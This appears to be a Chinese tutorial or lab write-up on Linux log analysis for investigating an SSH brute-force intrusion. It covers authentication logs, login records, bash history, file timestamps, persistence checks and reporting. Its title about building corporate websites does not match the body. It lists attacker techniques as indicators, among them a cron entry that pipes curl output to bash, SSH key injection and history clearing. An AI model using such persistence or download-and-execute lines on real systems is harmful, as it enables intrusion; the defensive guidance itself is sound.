企业官网建设流程全解析

1. 应急响应场景下的Linux日志分析整体思路

1.1 为什么应急响应第一步永远是看日志

干应急响应这行的人都有一个共识：主机被入侵之后，攻击者能清理掉的东西很多，但日志往往是最难彻底抹干净的一环。哪怕对方用了各种痕迹清除工具，系统里总有几个角落会留下蛛丝马迹——登录记录、命令历史、进程启动时间、文件修改时间戳，这些东西交叉比对之后，整个入侵链路就能大致还原出来。

Linux日志分析在应急响应里的定位，说白了就是从一堆看似正常的系统记录里，把"不正常"的那几条揪出来。它不像流量分析那样需要抓包设备，也不像样本分析那样需要逆向功底，门槛相对低，但要求你对Linux系统的日志体系有足够熟悉，知道什么日志记什么、存在哪、格式长什么样。

这次拿到的题目是"玄机——第一章 应急响应-Linux日志分析"，从热搜词来看，核心考点集中在SSH爆破这个方向上。SSH爆破是Linux服务器被入侵最常见的入口之一，攻击者用字典对着22端口疯狂尝试，一旦撞出弱口令，后面就是提权、留后门、横向移动一条龙。所以这类题目的分析主线基本就是：从认证日志里找到爆破源IP，从登录记录里确认成功登录的时间点，再从系统其他日志里追踪攻击者登录后干了什么。

适合看这篇内容的人：刚入行做安服、想转应急响应方向的朋友，或者CTF里碰到日志分析题不知道怎么下手的选手。我会把每一步的操作命令、判断依据、容易踩的坑都写清楚，你照着做基本能复现整个分析过程。

1.2 Linux日志体系速览：哪些文件是必看的

在动手之前，先把Linux里跟应急响应最相关的几个日志文件位置和用途理一遍。不同发行版路径略有差异，但主流的位置就那么几个：

注意：wtmp、btmp、lastlog这三个是二进制文件，不能直接用cat看，得用last、lastb、lastlog命令来解析。很多人第一次做这类题就栽在这里，cat出来一堆乱码还以为文件损坏了。

另外要强调一点，日志的完整性取决于系统配置。有些服务器rsyslog没开，或者日志轮转策略太激进，auth.log只保留几天，那分析窗口就很窄。应急响应实战里，如果发现关键日志缺失，本身就是一个需要记录的可疑点——有可能是攻击者删了，也有可能是运维配置问题，要区分开。

1.3 本次分析的核心目标拆解

拿到"SSH爆破"这个关键词，分析目标其实很明确，可以拆成四个层次：

第一层，确认是否存在爆破行为。看认证日志里有没有大量连续的Failed password记录，来源IP是否集中。

第二层，确认爆破是否成功。在大量失败记录之后，有没有出现Accepted password或者Accepted publickey，如果有，那个时间点和IP就是突破口。

第三层，还原成功登录后的操作。攻击者进来之后通常会看系统信息、尝试提权、下载工具、留后门，这些动作会在命令历史、进程记录、文件时间戳里留下痕迹。

第四层，找出持久化机制。常见的有写crontab、改authorized_keys、加系统服务、改启动脚本，这几个位置必须逐一排查。

这四层做完，一份完整的应急响应日志分析报告基本就成型了。下面我按这个逻辑，把每一步的具体操作和判断方法展开讲。

2. SSH爆破痕迹的定位与认证日志精读

2.1 快速锁定爆破源IP的几条命令

认证日志是SSH爆破分析的主战场。假设我们面对的是Debian/Ubuntu系的/var/log/auth.log，第一步就是统计失败登录的来源IP分布：

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20

这条命令的逻辑是：先筛出所有失败密码的记录，然后用awk取倒数第4个字段（这个位置通常是来源IP），排序去重后按次数倒序排列，取前20个。哪个IP出现的次数遥遥领先，哪个就是爆破源。

不过这里有个坑，不同发行版、不同SSH版本的日志格式不完全一样。有的格式是：

Failed password for root from 192.168.1.100 port 54321 ssh2

有的是：

Failed password for invalid user admin from 192.168.1.100 port 54321 ssh2

字段位置会变。所以更稳妥的做法是用正则直接提取IP：

grep "Failed password" /var/log/auth.log | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort | uniq -c | sort -nr | head -20

这样不管格式怎么变，只要IP在行里就能抓出来。实测下来这条命令在绝大多数场景下都能用。

如果日志被轮转成了多个文件（auth.log.1、auth.log.2.gz这种），记得用zgrep处理压缩包：

zgrep "Failed password" /var/log/auth.log.*.gz | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort | uniq -c | sort -nr

2.2 从失败到成功：找到那个关键时间点

确认了爆破源IP之后，下一步就是看这个IP有没有爆破成功。命令很直接：

grep "Accepted" /var/log/auth.log | grep "192.168.1.100"

把IP换成你上一步找到的爆破源。如果这条命令有输出，说明爆破成功了，这就是入侵的起点。输出里会包含时间戳、用户名、来源IP、端口，这几个信息都要记下来。

有时候攻击者不会用同一个IP完成爆破和登录，可能用了代理池或者跳板，这时候就要换个思路：先看所有Accepted记录，再倒推哪些IP在成功登录前有大量失败记录。

grep "Accepted" /var/log/auth.log

把所有成功登录列出来，然后对每个IP去查它的失败次数。正常运维的登录，失败次数通常是0或者个位数；爆破成功的，失败次数往往是几百上千。

这里还要注意区分Accepted password和Accepted publickey。前者是密码登录，后者是密钥登录。如果系统本来只允许密钥登录，突然出现Accepted password，那基本可以确定是配置被改了或者有后门账户。

2.3 用last和lastb还原完整登录时间线

auth.log看的是认证过程，wtmp和btmp看的是登录结果。这两个二进制文件用last和lastb来读：

last -f /var/log/wtmp | head -30 lastb -f /var/log/btmp | head -30

last输出的是成功登录记录，包含用户名、终端、来源IP、登录时间和登出时间。lastb输出的是失败登录记录。把这两个对照着看，时间线就出来了。

我一般会重点关注这几种情况：

• 非工作时间段的登录：凌晨3点root登录，大概率有问题
• 来源IP异常：内网服务器出现外网IP登录
• 登录后立即登出：可能是自动化工具在验证凭据
• 同一IP短时间内大量失败后突然成功：典型爆破特征

lastlog命令也很有用，它能一次性列出所有用户的最后登录时间：

lastlog

那些"从未登录"（Never logged in）的服务账户突然有了登录记录，或者某个长期不用的账户突然活跃，都是危险信号。

实操心得：last和lastb的输出默认会做IP反解，如果DNS配置有问题会卡很久。加个-i参数强制显示IP，速度会快很多，比如last -i -f /var/log/wtmp。

2.4 认证日志里的其他可疑信号

除了爆破，auth.log里还能看出不少东西。比如：

sudo提权记录：

grep "sudo" /var/log/auth.log | grep -v "session opened"

正常运维用sudo是有规律的，如果某个账户突然频繁sudo，或者执行了不常见的命令，要警惕。

su切换记录：

grep "su:" /var/log/auth.log

攻击者拿到低权限账户后，常用su尝试切换到root。

新用户创建：

grep "useradd\|adduser" /var/log/auth.log

有些攻击者会直接加一个自己的账户作为后门。

SSH配置变更：

grep "sshd" /var/log/auth.log | grep -i "config\|reload"

如果sshd被重新加载，可能是攻击者改了配置允许root登录或者改了端口。

这些信号不一定每次都出现，但排查的时候都要过一遍，宁可多看一眼，不要漏掉线索。

3. 登录后行为追踪：命令历史与文件时间戳

3.1 bash_history里藏着攻击者的操作剧本

确认了攻击者成功登录的账户之后，第一件事就是去看这个账户的命令历史：

cat /home/username/.bash_history

如果是root账户：

cat /root/.bash_history

bash_history默认只记录命令，不记录时间戳。但如果在.bashrc里配置了HISTTIMEFORMAT，那每条命令前面会有时间。没有时间戳的话，就只能靠命令内容和顺序来推断。

攻击者常用的命令套路我总结了一下，看到这些基本就能确认是恶意操作：

• whoami、id、uname -a：踩点，看自己是谁、系统什么版本
• cat /etc/passwd、cat /etc/shadow：找账户信息
• wget、curl：下载工具或脚本
• chmod +x：给下载的文件加执行权限
• ./xxx：运行恶意程序
• crontab -e、echo ... >> /etc/crontab：留计划任务后门
• echo ... >> ~/.ssh/authorized_keys：留SSH密钥后门
• history -c：清除命令历史（这条本身就是强信号）

注意：bash_history是可以被篡改的。攻击者如果执行了history -c或者直接编辑了文件，你看到的就是被清理过的。这时候要结合其他证据，比如进程记录、文件时间戳来交叉验证。

另外，如果shell不是bash（比如zsh、sh），历史文件位置会变。zsh是~/.zsh_history，sh可能不记录历史。排查的时候要确认目标账户用的是什么shell。

3.2 用find按时间戳筛出被改动的文件

攻击者登录之后，大概率会动一些文件。Linux里每个文件都有三个时间戳：

• atime：最后访问时间
• mtime：最后修改时间
• ctime：最后状态变更时间（权限、所有者变更等）

用find可以按时间范围筛选：

find / -newermt "2024-01-15 03:00" ! -newermt "2024-01-15 04:00" -type f 2>/dev/null

这条命令找出1月15日凌晨3点到4点之间被修改的所有文件。时间范围就填你从auth.log里确认的攻击者登录时间段。

重点关注这几个目录：

• /tmp、/dev/shm、/var/tmp：临时目录，攻击者最爱往这里丢东西
• /etc：配置文件，改这里通常是为了持久化
• /root、/home/*：用户目录，可能藏工具和脚本
• /usr/bin、/usr/sbin：系统命令目录，可能被替换成后门

find /tmp /dev/shm /var/tmp -type f -newermt "2024-01-15 03:00" 2>/dev/null

这条命令专门查临时目录里在攻击时间段内新增或修改的文件，命中率很高。

3.3 进程与服务层面的异常排查

如果服务器还没重启，可以直接看当前运行的进程：

ps aux --sort=-%cpu | head -20 ps aux --sort=-%mem | head -20

按CPU和内存排序，看有没有异常占用资源的进程。攻击者挖矿的话，CPU会飙高；跑扫描器的话，网络连接会异常。

看网络连接：

netstat -antp ss -antp

重点关注LISTEN状态的端口和ESTABLISHED状态的连接。如果有个不认识的进程在监听高位端口，或者有到陌生IP的长连接，都要查。

看开机自启服务：

systemctl list-unit-files --type=service | grep enabled

对比正常基线，多出来的服务就是可疑项。

检查crontab：

crontab -l cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/

攻击者留后门最常用的就是crontab，因为简单、稳定、重启不丢。看到那种*/5 * * * * curl xxx | bash的条目，基本可以实锤。

3.4 文件完整性校验的实战用法

如果系统里装了rpm或者dpkg，可以用包管理器校验系统文件有没有被篡改：

rpm -Va

或者：

dpkg -V

输出里如果有5（表示MD5校验失败）或者S（表示文件大小变化），说明这个文件被改过。重点看/bin、/sbin、/usr/bin、/usr/sbin下的可执行文件，这些被替换成后门的话，危害极大。

没有包管理器的话，可以手动比对关键文件的哈希值。比如把/bin/ls的哈希跟另一台同版本系统的对比，不一致就说明有问题。

实操心得：rpm -Va的输出会非常多，因为很多配置文件本来就会被正常修改。建议先过滤掉/etc下的配置文件，只看二进制文件：rpm -Va | grep -E '^..5.*/bin/|^..5.*/sbin/'。这样命中率更高。

4. 持久化机制排查与常见问题速查

4.1 SSH后门的三条主要路径

SSH是攻击者最喜欢的持久化入口，因为它稳定、隐蔽、不需要额外开端口。主要留后门的方式有三种：

第一种，写authorized_keys。攻击者把自己的公钥写进目标账户的~/.ssh/authorized_keys，之后就能免密登录。

cat /root/.ssh/authorized_keys cat /home/*/.ssh/authorized_keys

看有没有不认识的公钥。正常运维的密钥通常有注释（比如user@hostname），攻击者的密钥注释可能是空的或者随便写的。

第二种，改sshd_config。比如把PermitRootLogin改成yes，或者把AuthorizedKeysFile指向一个隐蔽路径。

grep -v "^#" /etc/ssh/sshd_config | grep -v "^$"

把注释和空行去掉，看实际生效的配置。

第三种，加系统账户。直接创建一个UID为0的账户，或者给现有账户设置密码。

awk -F: '$3==0 {print $1}' /etc/passwd

这条命令列出所有UID为0的账户，正常只有root一个，多出来的就是后门。

grep -v "nologin\|false" /etc/passwd

这条列出所有能登录shell的账户，对比正常基线，多出来的要查。

4.2 计划任务与启动脚本的排查清单

crontab排查要覆盖所有位置：

启动脚本也要看：

cat /etc/rc.local ls -la /etc/init.d/ ls -la /etc/profile.d/

/etc/profile.d/下的脚本会在每次登录时执行，攻击者有时候会往这里塞东西。

systemd服务也是重灾区：

ls -la /etc/systemd/system/ systemctl list-units --type=service --state=running

对比正常服务列表，多出来的要重点查。

4.3 常见问题速查表

注意：如果发现日志文件被删除但进程还在写，可以用lsof | grep deleted找到被删除但仍被占用的文件，然后从/proc/<pid>/fd/里把内容捞出来。这是应急响应里抢救日志的一个重要技巧。

4.4 几个容易踩的坑和应对方法

坑一：只看auth.log不看wtmp。auth.log记录的是认证事件，wtmp记录的是会话事件。有时候认证成功了但会话没建立（比如被PAM策略拦截），只看auth.log会误判。两个都要看，交叉验证。

坑二：忽略时区问题。服务器可能用的是UTC，你本地是CST，差8小时。分析时间线的时候一定要先确认系统时区：timedatectl或者date。不然时间对不上，整个分析就乱了。

坑三：把正常运维操作当成攻击。有些自动化运维工具会定期SSH登录执行脚本，也会产生大量登录记录。判断的时候要看命令内容，正常运维通常是固定的几条命令，攻击者的命令历史会更"探索性"。

坑四：忘记看隐藏文件。攻击者经常用.开头的文件名来隐藏工具，比如.x、.cache。用ls -la而不是ls，用find -name ".*"专门找隐藏文件。

坑五：只查当前系统不查挂载点。如果服务器有额外挂载的磁盘或者容器环境，攻击者可能把后门藏在其他挂载点里。用mount和df -h确认所有挂载点，逐一排查。

5. 从日志到报告：分析结论的整理与输出

5.1 时间线还原的写法

应急响应最终要输出一份能让人看懂的结论，核心就是时间线。把关键事件按时间顺序列出来，每个事件标注证据来源。格式大概是这样：

2024-01-15 02:30:15 爆破开始，源IP 192.168.1.100 对root账户发起密码尝试 证据：/var/log/auth.log 中连续Failed password记录 2024-01-15 02:45:33 爆破成功，root账户被登录 证据：/var/log/auth.log 中Accepted password记录 2024-01-15 02:46:01 攻击者执行whoami、id、uname -a 证据：/root/.bash_history 2024-01-15 02:47:12 下载恶意脚本到/tmp 证据：/tmp目录下文件mtime、bash_history中wget命令 2024-01-15 02:48:30 写入crontab持久化 证据：/var/spool/cron/crontabs/root 文件内容

时间线写清楚，整个入侵过程就一目了然了。这份东西交给客户或者上级，比一堆命令输出有说服力得多。

5.2 证据链的完整性检查

写报告之前，回头检查一下证据链有没有断：

• 爆破源IP → 有没有对应的失败记录？
• 成功登录 → 有没有对应的Accepted记录？
• 登录后操作 → 有没有命令历史或文件时间戳佐证？
• 持久化 → 有没有找到具体的后门文件或配置？

每一环都要有至少一个证据支撑。如果某一环缺失，要在报告里说明"未发现相关证据"或者"证据已被清除"，而不是跳过不提。

另外，所有引用的日志片段都要保留原始格式，不要自己重新排版。时间戳、IP、端口这些关键信息要原样呈现，方便复核。

5.3 处置建议的写法

分析完之后，通常还要给处置建议。这部分要具体、可操作，不要写"加强安全防护"这种空话。比如：

• 立即封禁爆破源IP：iptables -A INPUT -s 192.168.1.100 -j DROP
• 删除攻击者添加的账户：userdel -r username
• 清理authorized_keys中的恶意公钥
• 删除crontab中的恶意任务
• 修改所有账户密码，尤其是被登录过的账户
• 检查并关闭不必要的对外端口
• 如果确认系统被深度入侵，建议重装系统而不是清理

处置建议要按优先级排序，先止血（封IP、删后门），再根治（改密码、打补丁），最后是加固（改配置、上监控）。

5.4 我个人的几条实战体会

做这类日志分析题目和实战，我踩过的坑不算少，分享几条我觉得最有用的：

第一条，先备份再分析。拿到一台被入侵的机器，第一件事是把日志和关键文件打包备份，然后再动手分析。万一分析过程中不小心改了文件时间戳或者覆盖了日志，原始证据就没了。备份命令很简单：tar czf /tmp/evidence.tar.gz /var/log/ /root/.bash_history /etc/passwd /etc/crontab。

第二条，善用grep的组合拳。日志分析80%的工作是grep，但单条grep往往不够。我常用的组合是grep -E加多个关键词，比如grep -E "Failed|Accepted|Invalid" /var/log/auth.log，一次把相关记录都捞出来。再配合awk和sort | uniq -c做统计，效率比一条条看高得多。

第三条，不要忽略"正常"记录。有时候攻击者的操作混在大量正常记录里，你只盯着异常看反而会漏。我的做法是先建立正常基线（比如正常运维每天几点登录、执行什么命令），然后找偏离基线的记录。这个方法在日志量大的时候特别管用。

第四条，时间戳是最好用的线索。文件时间戳、进程启动时间、日志时间，这几个时间交叉比对，能还原出很多命令历史里看不到的东西。尤其是攻击者清理了bash_history之后，文件时间戳往往还能说话。

第五条，多问几个"为什么"。看到一个可疑文件，不要只看它是什么，还要问：它是什么时候出现的？谁创建的？怎么创建的？创建它的进程还在不在？这几个问题追下去，往往能挖出更多东西。

日志分析这件事，工具和命令是基础，但真正拉开差距的是分析思路和对系统行为的理解。同样一份auth.log，新手看到的是几千行文本，老手看到的是一个完整的故事。多练、多看、多总结，慢慢就有感觉了。